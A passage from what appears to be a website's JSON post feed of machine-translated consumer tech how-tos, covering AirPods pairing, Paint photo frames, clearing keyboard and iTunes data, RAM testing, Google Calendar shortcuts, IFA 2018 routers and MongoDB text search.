SAUTIMTHIEPHONG - Pale purple.\nLevel 59: CANCANUOCMAT - Shed tears.\nAbove is the answer game 2 pictures 1 word - Searching for songs helps you play games happily and overcome many new milestones in the game. Network administrators will constantly update the game's answers quickly, fully and accurately to send to readers. However, you remember to refer to the answer when really \"deadlocked\" but do not abuse it, so will create attraction as well as create more dramatic.\nWish you all have fun playing games!\nSee more:\nAnswer the game Cross the IQ River, update the latest answer Did you play the Goodia Run game of the super superhero? Instructions for installing and playing the Empire game on Garena Instructions for creating QQ accounts, playing Chinese online games ncG1vNJzZmismaXArq3KnmWcp51krq%2B%2F1p6pZp%2BRorJufoyipJqflWJ%2BbsPOq5tmn6WawLR506GcZq%2Bfp7FuwNGamqRlpJ2ybr%2FOp54%3D\n","link":"/post/guess-the-word-track-the-song/","section":"post","tags":null,"title":"Guess the word, Track the song"},{"body":"To pair your AirPods with any other device or an older Mac, you just need to find the easy pairing button on the AirPods charging case. Look at the back of the AirPods case. See the matte silver circle near the bottom, just above the Lightning port? It's the \"set up button\" you need to pair the AirPod with other devices, used when the W1 can't automatically pair with other devices.\nTo put the AirPod in pairing mode, here's what the user needs to do:\nPut the AirPods in the charging case. Open the lid of the box, you will see a light pop up, indicating the battery charge status. Press and hold the round button on the back of the AirPods case. The light inside the box will start flashing white. This indicates that your AirPod is in pairing mode. While the white light is flashing, the AirPods will \"be detectable\". In other words, they'll appear as peripherals so that they can be paired from Bluetooth settings, just like any other Bluetooth headset or speaker.\u0026nbsp;\nHere are details on how to connect Airpods to Bluetooth devices\n1. How to connect Airpods to a Windows laptop 2. How to connect Airpods to Mac OS 3. How to connect AirPods to PS4 4. How to connect AirPods to Apple TV 5. How to connect the AirPods headset to an Android phone 1. How to connect Airpods to a Windows laptop Make sure your AirPods are fully charged and put in the charging case. On a Windows 10 computer, go to Settings.\n  - Then, click on Devices. On the Device preferences window, make sure Bluetooth is turned on (the switch should be slide to the right and be blue).\n- Click to select Add Bluetooth or other device (Add Bluetooth or other divice).\n  Open the case of the AirPods case and press and hold the small button on the back of the case for a few seconds, until the status light on the front of the case starts flashing white.\n  - On your laptop will appear in the list of available devices to pair (first they can appear under the name Headphones, then change to AirPods after a moment). Click on the AirPods to connect.\n  Windows will connect to the AirPods and display a successful message. After completing Bluetooth setup, tap Done and close the Settings window.\n  2. How to connect Airpods to Mac OS If installed on the AirPods using the same iCloud account as the one on the MacBook, then it will be easy to connect the two devices together.\u0026nbsp;\nThen just put your AirPods in your ear and click the Bluetooth mark on the menu bar on your Mac, and select your AirPods name from the list of connections.\n  If you can't find the AirPods in that menu, follow the steps here:\nTap the volume icon on your Mac's menu bar and choose AirPod in the list of available devices, or go to Apple menu\u0026gt; System Preferences\u0026gt; Sound and select AirPods.\n  - Double check whether the Bluetooth on the device is really on or not. Then put both the AirPods in the charging case and open the lid. Press and hold the Install button on the back of the case until the indicator light turns white.\n  Go back to the Bluetooth preferences window on your Mac and select the name of the AirPods in the list of devices, then click the Connect button. 3. How to connect AirPods to PS4 To connect the AirPods to the PS4, you must have an auxiliary device that is Bluetooth Play Dongle for PS4. The accessory is extremely cheap and allows you to connect your AirPods 2 or AirPods Pro to a PlayStation 4 console.\u0026nbsp;\nStep 1: Plug the Wireless Bluetooth Dongle for PS4 device into the front USB port. Step 2: Wait for the Dongle to flash green, which means the combination mode is turned on. Step 3: Open the box of AirPods. Step 4: Press and hold the connect button on the back of the AirPods case. Step 5: Your AirPods are now connected to PS4, displayed by the blue light on the Dongle no longer blinking. Step 6: Plug the mic adapter into the 3.5mm port on the PS4 controller. Step 7: There is a message displayed on the screen, confirming the device is connected. Step 8: Now your AirPods are fully connected to the PS4, allowing you to listen and speak through this headset while playing games. 4. How to connect AirPods to Apple TV The first thing to do is connect your AirPods. In Settings, go to Remotes and Devices → Bluetooth and check if your AirPods are connected.\n    If they don't appear, hold the button on the back of your AirPods case and pair them with the Apple TV.\n  In addition to selecting the AirPods from the settings screen, there are two quick ways to set up the audio output for any headset or HomePod. On the Home screen, press and hold the play / pause button on the remote control. This will bring you to a screen where you can quickly select the output device.\n  However, if you're watching something, you can also hold the Play / Pause button on your Remote Apple TV, swipe right to select the Sound tab, then choose either AirPods or HomePod.\n  5. How to connect the AirPods headset to an Android phone Step 1: Put the AirPods back into the charging case.\n  Step 2: Open the lid and hold down the button on the back of the box to put the headset in Pair mode until the light flashes white.\n  Step 3: Turn on Bluetooth on your device by going to Settings\u0026gt; Bluetooth and turn the switch to ON to activate.\n  Step 4: After detecting, choose the name of the AirPods device displayed on the list to connect to the phone.\n  After successfully connecting to the phone, the user can:\nListen to music, listen to calls like normal bluetooth headset. Use function 2-touch on headphones to Play / Pause songs. You won't be able to use all the features that the AirPods offer when connecting to a non-Apple device like:\n  Siri not supported. There is no battery notification on the phone screen. The feature to automatically pause the sound when removing the AirPods from your ear is not activated. No activation is warranted. The headset name cannot be changed. The action is not customizable when the ear button is double-pressed. The software cannot be updated. Good luck.\nconnect airpods to Apple TV ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7umr9NmmKKqoKSxtHnTqGSwoZ6ZvLi%2FjKWYqayfpXqurcKbpqijXaXAdXnAqaelnV2pw26tzZ2pqKGUYr2pu82e\n","link":"/post/how-to-connect-airpods-to-windows-laptop-macbook-ps4-apple-tv-android-phone/","section":"post","tags":null,"title":"How to connect airpods to Windows laptop, MacBook, PS4, Apple TV, Android Phone"},{"body":"Paint is the basic image editor on Windows computers, assisting users with some basic features such as painting Paint images, cutting images on Paint, inserting logos into images on Paint. Although there are not as many advanced customizations as other professional software like Photoshop, Paint can still help you create artistic images, such as creating a picture frame on Paint.\nThe frame makes Paint images relatively simple and not too complicated. You just need to create an image border and add color to the border frame. If you want to use unique frame styles, use some photo collage software like Fotor, PhotoCollage, . The following article will guide the creation of frames for photos on Paint.\nThese framed art apps for phones How to create photo effects on Photoshop How to use PicPlayPost to merge, create frames for videos 30 tools to support online photo editing without using Photoshop Instructions for creating photo frames on Paint Step 1:\nWe open the image we want to create a frame on Paint. Next, the user brings the mouse to the bottom right corner of the image until the first two arrows appear and press and drag down to expand the image area.\n  If the image is large, we need to scale it down by clicking the minus Zoom out in the size adjustment bar displayed in the right corner of the screen.\n  Step 2:\nWe click on the Select icon at the top of the toolbar and use the mouse to circle the entire image.\n  Click and hold on the image, then move them to the middle so that the white frame will be displayed on the four sides of the image, or you can arbitrarily align the frame.\n  Step 3:\nNext, click on the Fill with color paint bucket icon to fill the image border. Click on the white border and click Color 1 to select the color you want.\n  Fill the border with the image and you get the image with the border as shown below.\n  If you want to add more colors, click Edit colors and then select the color in the palette that Paint provides.\n  Step 4:\nIf the user wants to create another picture frame outside, then drag the image area as step 1 is. Then select Select and drag the image to the middle. Then display an additional picture frame as shown.\n  Next, fill the outer border to create a different color frame. The final image results are as follows.\n  Creating photo frames on Pain is very simple and there are not many steps taken. Users can create multiple frames around the image, and arrange the colors used to bring newfoundness to the image.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKmgn6m8brLRmqSeZZ%2BjerGtyKer\n","link":"/post/how-to-create-a-photo-frame-on-paint/","section":"post","tags":null,"title":"How to create a photo frame on Paint"},{"body":"We all know that the keyboard is one of the essential things of Android devices because it helps us search Google, find files on phones, chat with friends, save some notes and many other tasks. half. But do you know it knows more about you than you think? Yes, the keyboard keeps a history of everything you type on Android. Essentially, smartphone keyboards store all data to give you a better user experience like suggestions, auto-correction of spelling errors, etc.\nYou can disable the keyboard's data storage feature on your Android device by deleting the keyboard history. This article will show you how to delete keyboard history on Android.\nDelete keyboard data on Android How to delete the default keyboard history on Android devices How to delete Gboard keyboard history (Google keyboard) How to delete keyboard history SwiftKey How to delete the default keyboard history on Android devices If using the default keyboard preinstalled on your phone, simply follow these simple steps.\nStep 1. Open Settings on Android phone.\n  Step 2 . Now, search and touch the Language \u0026amp; input options .\n  Step 3 . Then select the default keyboard application.\nStep 4 . Select the Reset Settings\u0026gt; Clear Personal Data option .\nSo you've deleted the keyboard history on the default Android keyboard.\nHow to delete Gboard keyboard history (Google keyboard) Gboard is the famous Android keyboard application developed by technology giant Google with many powerful and unique features, making it one of the best options on Google Play Store. Like other keyboards, Gboard also stores a lot of users' personal data to provide more organized and personalized usage.\nStep 1 . First, you need to open the installation option on your Android device.\nStep 2 . Now, search and touch the Language \u0026amp; input options .\nStep 3 . Then just select Gboard .\nStep 4 . Select the Dictionary option.\n  Step 5 . Then, select the Delete learner words option to delete the Gboard keyboard history.\n  A message appears asking you to enter a number to confirm the deletion.\n  How to delete keyboard history SwiftKey SwiftKey is another popular and popular keyboard application owned by technology giant Microsoft. Not only that, it also claims that this is the fastest Android keyboard you can find on Play Store.\nStep 1 . Open installation options on your Android device.\nStep 2 . Find and touch the Language \u0026amp; input option .\nStep 3 . Select keyboard SwiftKey .\nStep 4 . Select the vertical dot icon in the top right corner of the screen.\n  Step 5 . Select the Clear typing data option to delete typing data .\n  Step 6 . Then touch the Continue option.\n  As such, you can delete all saved data from your Android keyboard application. In the case of using any other keyboard application, you don't need to worry, in general in the installation option, you will find options similar to this to delete saved data.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyknLKan5a%2FpXnHoqqtp6KuerC6jJqlnaqfnrE%3D\n","link":"/post/how-to-delete-keyboard-history-on-android/","section":"post","tags":null,"title":"How to delete keyboard history on Android"},{"body":" If your iTunes library is getting a bit out of control, you can clean things up by deleting music you no longer listen to. When you remove songs from your iTunes library, they'll be removed from any devices they're synced to next time you...\nMethod 1of 3:\nMac and PC  Launch iTunes on your computer. You can delete any of the songs in your iTunes library directly in iTunes.\n  Open your music library. Click the Music button in the upper-left corner and then click the \"My Music\" tab.\n  Find the song that you want to delete. Depending on your settings, you may see a list of all of your songs, your albums, or the artists in your library. You can click the menu in the upper-right corner to switch views. You can search for specific songs, artists, and albums by using the search bar in the upper-right corner of the iTunes window. You can select multiple songs, artists, or albums at once by holding ⌘ Command/Ctrl and clicking each one.   Right-click the selected music. If you're using a Mac with a one-button mouse, hold ⌘ Command and click your selection.\n  Select \"Remove Download\" to delete the local copy (purchased music only). This will remove the downloaded file, and you'll see the iCloud Download button appear next to it. The items you select Remove Download for will remain in your iCloud Music Library and can still be found in the libraries of your other connected devices.   Select \"Delete\" to delete the selected items. What actually happens will vary depending on the item you are deleting: Songs added to iTunes from folders on your computer will be deleted from your iTunes Library. You'll be prompted to keep the actual file if it is located in your iTunes Media folder. If the file was added from a different folder on your computer, it can still be found there. Songs in your iCloud Music Library will be completely deleted from all of your libraries, and will not appear on any of your connected devices.[1] If the song was purchased from iTunes and downloaded, you'll just delete the local copy. You can choose to hide the song when deleting it, which will remove it from all of your connected devices. If the song was purchased from iTunes but not downloaded, you'll be prompted to hide the song when you choose to delete it. Purchases are only hidden, never completely removed from your account. See the Unhiding Your Purchases section below to find your hidden purchases.  Method 2of 3:\niPhone, iPad, iPod touch  Open the Music app on your iOS device. You can delete any of the songs on your iOS device from with the Music app.\n  Find the song, artist, or album you want to delete. You can switch between views by tapping the menu at the top of the list of music.\n  Tap the \"...\" button next to the song, artist, or album. This will open a new menu.\n  Tap \"Delete.\" You may have to scroll to see this option. If the only option you see is \"Delete from My Music,\" the song is not downloaded on your device. Selecting this option will remove the song from your iTunes library, hiding it from your Music app.   Tap \"Remove Downloads\" or \"Delete from My Music.\" These two options do different things, depending on if you are using the iCloud Music Library or not: Remove Downloads - This will delete the music from your device, but leave it in your library. If the music was purchased or stored in your iCloud Music Library, you'll be able to download it again by tapping the iCloud download button. If the music was synced from your computer, it will disappear until you sync again. Delete from My Music - This will delete the music from your device and your libraries. If the music was purchased, the purchase will be hidden on all of your devices. If the music was stored in your iCloud Music Library, it will be deleted from that library for good on all of your connected devices. If the music was synced from your computer, it will disappear until you sync again.   Delete all of your local music files at once. If you're trying to clear out a lot of space on your iOS device, you can delete all of your stored music at once. This will not affect your iTunes library or iCloud Music Library:[2] Open the Settings app and select \"General.\" Tap \"Storage \u0026amp; iCloud Usage.\" Tap \"Manage Storage\" in the \"Storage\" section. Tap \"Music\" in the list of apps. Swipe the \"All Songs\" bar from right to left, then tap \"Delete.\"  Method 3of 3:\nUnhiding Your Purchases  Open iTunes on your computer. The only way to restore your hidden purchases is to use iTunes on a computer.\n  Sign in with your Apple ID if you aren't already. You'll need to be signed in with the account that you purchased the music with in order to find your hidden purchases.\n  Click the \"Account\" (Mac) or \"Store\" (Windows) menu and select \"View Account.\" You'll be prompted for your Apple ID password again. If you don't see the menu bar in Windows, press Alt.   Find the \"iTunes in the Cloud\" section. You may have to scroll to find it.\n  Click \"Manage\" next to \"Hidden Purchases.\" This will display all of the purchases you have hidden from your library.\n  Click the \"Unhide\" button to restore songs. You'll see this button underneath each album that you've hidden. You can click the \"Unhide All\" button in the lower-right corner to unhide all hidden songs at once.\n  Find your unhidden songs. The songs you've unhidden will appear back in your iTunes music library.[3]\n  Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyspqefo2Kzs7vMZqCtrZ6awA%3D%3D\n","link":"/post/how-to-delete-songs-from-itunes/","section":"post","tags":null,"title":"How to Delete Songs from iTunes"},{"body":"To quickly access a website, you often create a bookmark on Chrome, or Firefox bookmarks save web pages in the browser. However, saving too many bookmarks will be quite difficult to manage and search to open. So you can install the Quickey utility installed on Google Chrome browser.\nThe Quickey utility will open a specific web page that you have previously set up, by clicking on the keyboard character of your choice. And when you click on the shortcut, the website will be opened in a new tab that you don't need to do any more. Users can fully attach alphabets to any web page, as long as it's easy to remember so you can open them. The following article will guide you how to use the Quickey utility to quickly open a web page from a new tab on Chrome.\nInstructions to restore Bookmark in Google Chrome and Firefox How to secure bookmarks on Google Chrome browser? How to add and manage Safari bookmarks on iPhone How to quickly open web pages from new tabs on Chrome Download the Quickey Chrome utility Step 1:\nFirst, click on the link above to access the utility installation link. In the first interface click on the Add to Chrome button .\n  Step 2:\nNext, click on the Add add button to install Quickey on the browser.\n  Step 3:\nImmediately the browser will be opened 1 new tab with the interface is the theme containing the website is set up shortcuts as the theme Reader, Designer, Egineer.\n  When you try to access a topic, you will see the pre-set shortcuts available with the keyboard interface as shown.\n  Step 4:\nGo back to Quickey's interface. To create a web page theme that contains your own shortcuts, click the Other button .\n  Then enter the topic name for the internal sites and click Next .\n  Step 5:\nNext appear web page characters with the keys A, S, D, and F available.Click the 4-character key to turn on the quick opening of the web page on the new tab. A new tab is opened with a new interface, with shortcuts to be used on Quickey. Shortcuts include:\nOpen a new tab: Windows + T or Command + T. Activate the utility keyboard: Tab. Open website: Keys from A - Z. Close the keyboard interface tab: Esc or Space. Turn on the keyboard shortcut: sign? or press the keyboard icon above the right corner.   Step 6:\nNow try to assign a shortcut to a web page. Click the plus symbol in the key character.\n  Then, copy the website URL into the green frame and press Enter to save it. Next click on the smiley to select the icon for the website. There are a lot of icons to choose from.\nIf you want to change to another website click the trash can icon.\n  Step 7:\nWe continue to work with other websites. Now try pressing the key character assigned to the site. Immediately the website will be opened quickly in a new tab on Chrome.\nIn case you turn off Chrome and want to restart the set keyboard mode, press Tab. Immediately the list of established keyboards will appear.\n  The Quickey utility provides a quick opening of a tabbed web page in the Chrome browser, via the shortcut you have set up. The main interface will be a shortened keyboard, accompanied by a constantly changing wallpaper according to the modes, creating a new look on the browser.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqmlnrCsuNhmpqmdnmLEpq6MqZignaNis7O7zGalnq9dqa6jv4yopWabmKe8rrE%3D\n","link":"/post/how-to-quickly-open-web-pages-from-new-tabs-on-chrome/","section":"post","tags":null,"title":"How to quickly open web pages from new tabs on Chrome"},{"body":"Computer RAM\u0026nbsp; \u0026nbsp;is one of the very important parts that contribute to the computer's performance. However, over a period of use it may be worn out in terms of durability as well as performance. To check this issue as well as see how much RAM your computer has, please refer to the article below.\nThere are many ways to open the Windows Memory Diagnostic tool on Windows, but I will guide you through the most general way, applicable to all Windows versions.\nMethod 1: Use the Windows + R key combination and enter the command mdsched.exe\u0026gt; ​​Press OK.\n  Method 2: Open Control Panel and choose Administrative Tools.\n  The Administrative Tools dialog box appears and select Windows Memory Diagnostic.\n  The RAM test tool has been activated. Press Restart now and check for problems (recommended) to start error checking.\n  At this point, your computer will restart, the Windows Memory Diagnostic Tool will start and start checking for RAM errors on your computer.\n  After running the program, the computer will reboot again. If you want a closer look at the notifications, you can open Windows Logs to see them.\nHow to open Windows Logs:\nStep 1: Press the Windows + R key combination to open the Run dialog box\u0026gt; Enter the keyword eventvwr.msc.\n  Step 2: Click Windows Logs\u0026gt; Select System\u0026gt; Click Find.\n  Step 3: Enter MemoryDiagnostic in the Find what box\u0026gt; Click Find Next to search.\n  And this is the result.\n  Step 1: Download the software MemTest86:\u0026nbsp; HERE .\n  Step 2: Create\u0026nbsp; USB \u0026nbsp;Boot, download MemTest86, then transfer MemTest86 to USB (called USB Boot).\nTo create a USB Boot, open the downloaded MemTest86\u0026gt; Click I Agree.\n  Step 3: In the Select your USB Flash Drive, select the USB drive and click Create to make it bootable for USB.\n  After the program is running, you have a bootable USB to test RAM.\nStep 4: Check the RAM using MemTest86.\nDepending on the computer model to access the Boot mode, there will be different ways. For example: To access the Boot Menu of\u0026nbsp; a Dell computer \u0026nbsp;, press F12 when it boots.\nTo search more precisely the Boot menu of each laptop you can search on Google under the suggestion \"Boot menu + laptop brand name\".\nStep 5: At this point, MemTest86 will proceed to check the RAM on the user's device.\n  If the result does not detect any error then it means that the RAM on the system is still working properly. On the contrary, if there is an error then it is most likely that the RAM on your computer has a problem.\nRight-click This PC\u0026gt; Select Properties.\n  Information about your RAM capacity will be displayed.\n  Step 1: Press the Windows + R key combination and enter dxdiag\u0026gt; Select OK.\n  RAM information is shown in the picture.\n  Step 1: Download the software CPU-Z:\u0026nbsp; HERE .\n  Step 2: Open the software and move to the Memory tab, RAM parameters will appear here.\n  Hopefully the last article will give you the steps to test RAM and check your computer's RAM capacity easily and quickly. I wish you all success!\nHow to test RAM ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyVqMFuvsCmZJyglZi4br7ApmSopl2ptaZ5wqikqa2kmr9utdJmqqKloKGybq3NnWSenpaasLW11Z4%3D\n","link":"/post/how-to-test-ram-check-ram-on-the-computer-is-simple-and-effective/","section":"post","tags":null,"title":"How to test RAM, check RAM on the computer is simple and effective"},{"body":" The Flipboard Editor is an online web tool that lets you create, edit, and manage all your Flipboard magazines in one place. Using the editor, you can start making and organizing your magazine online on your computer screen for a more...\nPart 1of 5:\nLogging into Your Account  Go to Flipboard Editor. Open a web browser on your computer and go to the Flipboard Editor website (https://editor.flipboard.com/).\n  Log in. Enter your account's username/email address and password on the respective text fields and click on 'Sign In' to continue. If you're using your social networking accounts as your login credentials, just click either 'Sign In with Facebook' or 'Sign In with Google' to log in.  Part 2of 5:\nCreating a Magazine  Open the Create New Magazine window. Click the 'Create Magazine' tile on the home page to start making a new one. The 'Create New Magazine' window will appear.\n  Enter the name and description you would like to use for your magazine. Do these on the text fields provided. You can use both alphanumeric and special characters for the name and description.   Choose the category you like your magazine to be listed under. Click the 'Select a category' and choose from the list of choices available on the drop down list.\n  Set your magazine as private. Put a check mark beside the 'Make this a private magazine' option if you want to be the only one who can view it.\n  Save your changes. Click the 'Save' button on the top right corner of the window to save the details you've entered and create the magazine. You'll be redirected back and you can now see the newly created magazine on the Editor home page.\n Part 3of 5:\nEditing a Magazine  Pick the magazine you want to edit. From the Editor home page, select the tile of the magazine you want to edit to open it. Afterwards, click the gear icon on the top right corner of the magazine cover to open the 'Edit Magazine' window.\n  Give your magazine a new name. Type in the new name and description you'd like to use for your magazine on the text field provided. You can use both alphanumeric and special characters for the name and description.\n  Pick a new category for your magazine. Choose the category you like your magazine to be listed under. Click the 'Select a category' and choose from the list of choices available on the drop down list.\n  Modify the privacy settings of the magazine. Put a check mark beside the 'Make this a private magazine' option if you want to change its view settings from public to you being the only one who can open it.\n  Save the changes you've made. Click on the 'Save' button on the top right hand corner of the window to save the changes made on the magazine you edited.\n Part 4of 5:\nInviting Contributors  Select a magazine. From the Editor home page, select the tile of the magazine you want to add contributors to. Afterwards, click the 'Invite Contributors' button on the lower right corner of the magazine cover.\n  Choose which application to use to invite contributors. The Flipboard Editor will send out email messages to different people you want to invite as contributors. Choose which of the applications you like to use in sending out emails, and click the 'OK' button to confirm.\n  Enter the email addresses of the contributors you want to invite. Do this on the recipient field of the application you chose to use, and click the 'Send' button to confirm sending.\n  Wait for the contributors to respond. The message you sent includes a link to your magazine which your recipients may use to add contents to your magazine.\n Part 5of 5:\nSharing and Deleting Magazines  Pick a magazine. From the Editor home page, select the tile of the magazine you want to either share or delete.\n  Share the magazine. Click the 'Share' button on the top right corner of the magazine cover and choose where you want to post your magazine. Facebook – A link to your magazine will be posted on your Facebook wall. Your friends may click the link posted to view your Flipboard magazine. Twitter – A tweet will be posted on your profile containing a link to your Flipboard magazine. Your friends may click the link posted to view your magazine. Email – A message containing a link to your Flipboard magazine will be sent to your contacts. The recipients of the message may click the link to view your magazine.   Delete a magazine. If you need to delete a magazine, just click trash bin icon on the top right corner of the magazine cover and the magazine will be removed from the editor.\n  Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmnaWhoJe8or7DZpydoaSkvw%3D%3D\n","link":"/post/how-to-use-the-flipboard-editor/","section":"post","tags":null,"title":"How to Use the Flipboard Editor"},{"body":"Transistor is an attractive action role-playing game with a mysterious plot, many fascinating challenges, a deep battle system. In the game, players will play the role of a girl named Red, a famous female singer in the future city Cloudbank, where humans and robots live together. But a dark conspiracy was put in advance that stole her voice. The player will be with Red, with the mysterious Transistor sword, make the journey to find the voice, decode and destroy the dark conspiracies that are taking place in the city.\n  Transitor has a seamless gameplay but still allows players to \"freeze time\" to plan their fight. Throughout Red's adventures are famous jazz pieces.\nThe beautiful moves to defeat Reds opponents in the game will definitely make the game complacent.\n    Currently, Transistor is free on Epic Games Store until May 2, 2019. If you like adventure games, science fiction combined action elements, then you can quickly follow the instructions below to own this exciting game before the expiration of the promotion. .\nInstructions for free download and install Transistor game on Windows:\nStep 1: Register for Epic Games account if not yet.\nhttps://accounts.epicgames.com/login\n  Step 2: Download and install Epic Games Launcher application on your computer.\nDownload Epic Games Launcher for Win / Mac Step 3: Open the Epic Games Launcher application on your computer to open the details page of the Transistor game by selecting the Store item -\u0026gt; click on the avatar of the Transistor.\n  Step 4: Click Free -\u0026gt; click on Place Oder to confirm payment completion.\n   Step 5: Click the Install button to proceed to download and install the game via Epic Games Launcher.\nConfiguring to smooth action game in the role of Transistor:\n   ncG1vNJzZmismaXArq3KnmWcp51ktq%2FCyK2cZqyfYrGww82lppqcXam%2ForrSoqqtp6Jirq95wK2rq5mTqba3sYyrpqWdoKGuurXNoGSam6SevK95xpqknmWWpL9ug5hyZLCgmZi1brXSZp2rnZU%3D\n","link":"/post/invite-to-download-transistor-an-attractive-role-playing-action-game-for-7-99-which-is-free/","section":"post","tags":null,"title":"Invite to download Transistor, an attractive role-playing action game for $ 7.99, which is free"},{"body":"Shortcuts on Google Calendar help us perform tasks faster when working, create a calendar on Google Calendar. Not only with Google Calendar but with many applications and software, the shortcut set always supports us a lot during use. With Google Calendar, you'll have shortcuts to view daily calendars, edit events created on Google Calendar, or tasks and notes. The Google Calendar shortcut set is used on all browsers you access. The following article will summarize the shortcut on Google Calendar.\nSummary of shortcuts on Google Calendar 1. Navigation shortcut on Google Calendar Reload the Calendar view: R Skip to the previous period: P or K Jump to the next time period: J or N To the current date: T Go to add calendar: + Going to search: / Go to Settings: S To specific date: G Go to Tasks \u0026amp; Keep (Windows): Ctrl + Alt +. or Ctrl + Alt + ,. Go to Tasks \u0026amp; Keep (Mac): Cmd + Option +. or Cmd + Option + ,. Go to Tasks \u0026amp; Keep (Chromebook): Alt + Shift +. or Alt + Shift + ,. 2. Event editing shortcut Create event: C Open pop-up event creation: Q or Shift + C View event: E Delete the event: Backspace or Delete. Undo: Z Save (Windows / Chromebook): Ctrl + S. Save (Mac): Cmd + S. Return to the calendar from the event: Esc. 3. Shortcut view mode Day view: 1 or D. Weekly views: 2 or W. Month view: 3 or M. Custom view: 4 or X. Schedule view: 5 or A. Year view: 6 or Y. See all keyboard shortcuts:? or Shift + /. How to disable the Google Calendar shortcut At the interface on Google Calendar, we click the gear icon and then select Settings .\n  In the settings menu, navigate to Shortcuts and then select then look to the right to see the shortcut is turned on by default and the key? default to activate keyboard shortcuts. If you do not use keyboard shortcuts, uncheck this box.\n  ncG1vNJzZmismaXArq3KnmWcp51kuaq%2F02amn2WjnbyzwMKuq6xllqS%2FbrPOqJ6lnV2Yrq2xzZ2Yqw%3D%3D\n","link":"/post/list-of-shortcuts-for-google-calendar/","section":"post","tags":null,"title":"List of shortcuts for Google Calendar"},{"body":"IFA 2018 brings many of the most modern in-house network products today, from low-latency gaming routers to signaling, amplification, signal boosting, hybrid network coverage has a smart virtual assistant. Here are some notable names.\nTP-Link's new 2018 network product TP-Link is still famous by the Archer line of routers, which has just announced seven new home network products. Five of these make up the new brand of mesh routers called Deco. The other two products are the continuation of the high-end 802.11ax gaming router series.\nTP-Link Deco M9 Plus, P7, M5, M4 and M3\nThe Deco router series has a thin disk of 5 models. The most advanced version is the Deco M9 Plus, with tri-band wireless connection (5GHz), integrating ZigBee smart home protocol, TP-Link's Mesh network technology, IFTTT integration, children's monitoring system. TP-Link and AC2200 speed.\n  TP-Link's Deco M9\nIn contrast, Deco P7 has Powerline technology for network signaling through an indoor power system, in addition to wireless scalability. Powerline works better than WiFi in new homes. Although powerline devices often need more power adapters (Powerline Adapter).\nArcher AX1000, Archer AX6000\nThe two new products of the Archer series TP-Link are the AX1000 and AX6000, both routers specializing in gaming, the high segment. Although the release date and price are not yet confirmed, the AX6000 will cost around € 400 (about $ 464), while the AX1000 will cost about € 100 less.\nUnlike previous wireless connectivity standards, 802.11ac (Wireless-AC), Wireless-AX products offer faster speeds, wider coverage and about 4 times faster throughput.\nHowever, almost no wireless device of a normal user can use standard Wireless-AX. Although Wireless-AX can switch to Wireless-AC, Wireless-N standards or older standards, new users will find it difficult to get the speed advertised by the new standard until manufacturers release the standard. New wireless access to their device.\nWhen are your smart TVs, phones . compatible with Wireless-AC? It must be another two years.\nNetgear's Nighthawk and Orbi products NETGEAR has also announced three home network devices, including Orbi Voice, Orbi Outdoor and Netgear XR700.\nOrbi Voice and Orbi Outdoor WiFi Satellite\nUsing standard Orbi, Orbi Voice is both a smart virtual assistant and a router using Netgear's Orbi system. Alexa virtual assistant has all available plugins available. Orbi Voice has 4 microphones for better voice recognition, and 2 speakers with a total capacity of 35W. When listening to the loudspeaker at the maximum, 2 35W speakers will be great.\nAs well as Orbi Voice, Orbi Outdoor WiFi Satellite integrated Orbit network, except the ability to withstand extreme weather. Not only is it resistant to high outdoor temperatures, it can also withstand weather patterns from snow to storms.\n  Netgear RX500 product\nNetgear XR700\nBesides the Orbi series, Netgear also introduced the Nighthawk Pro Gaming XR500 router with 6 Ethernet ports, 10G Fiber uplink port, for the first time on a gaming router.\nXR700 significantly improves ping time with a very good solution: use a zone filter to prevent connection to remote servers. XR700 also has VPN, automatically protects the network so as not to interfere with bad guys. Routers run on high-end OS management, enabling easy activation and management. The price of XR700 may be around € 400 (equivalent to $ 464).\nSee more:\nReview the best technology products performed at IFA 2018 Instructions for choosing the right Wi-Fi router Network basics: Part 2 - Router ncG1vNJzZmismaXArq3KnmWcp51ku7DAwJujnmWZo7Gwu9FmpZ6sp6S%2FrHnDnq2im5WoeqLAjKKdmmViZX55\n","link":"/post/notable-indoor-network-devices-at-ifa-2018/","section":"post","tags":null,"title":"Notable indoor network devices at IFA 2018"},{"body":"Starting with version 2.4, MongoDB started supporting Text Indexes to search within the string content. Text Search uses Stemming technique to search for specific words in string fields by deleting Stemming Word such as a, an, the, . Currently, MongoDB supports about 15 languages.\nEnable Text Search in MongoDB At first, Text Search was an experimental feature, but starting with version 2.6, the configuration is enabled by default. But if you are using a previous version of MongoDB, you need to activate Text Search with the following code:\n\u0026gt; db . adminCommand ({ setParameter : true , textSearchEnabled : true })  Create Text Index in MongoDB You follow the following Document under the collection posts containing post_text and its tags.\n{ \"post_text\" : \"enjoy the mongodb articles on tutorialspoint\" , \"tags\" : [ \"mongodb\" , \"tutorialspoint\" ] }  We will create a Text Index on the post_text field so that we can search within the text section of posts:\n\u0026gt; db . posts . ensureIndex ({ post_text : \"text\" })  Use Text Index in MongoDB Now that you have created the Text Index on the post_text field, we will search all posts that are from tutorialspoint in their text:\n\u0026gt; db . posts . find ({ $text :{ $search : \"tutorialspoint\" }})  The above command returns Documents with tutorialspoint in post_text:\n { \"_id\": ObjectId (\"53493d14d852429c10000002\"), \"post_text\": \"enjoy the mongodb articles on tutorialspoint\", \"tags\": [\"mongodb\", \"tutorialspoint\"] } { \"_id\": ObjectId (\"53493d1fd852429c10000003\"), \"post_text\": \"writing tutorials on mongodb\", \"tags\": [\"mongodb\", \"tutorial\"] }  If you are using an older version of MongoDB, you must use the following command:\n\u0026gt; db . posts . runCommand ( \"text\" ,{ search : \" tutorialspoint \" })  The use of Text Search significantly improves search efficiency when compared to regular search.\nDelete Text Index in MongoDB To delete an existing Text Index, first find the index's name using the query:\n\u0026gt; db . posts . getIndexes ()  After taking the name of the index from the above query, run the following command. Here, post_text_text is the name of the index.\n\u0026gt; db . posts . dropIndex ( \"post_text_text\" )  According to Tutorialspoint\nPrevious article: Map Reduce in MongoDB\nNext post: Regular Expression in 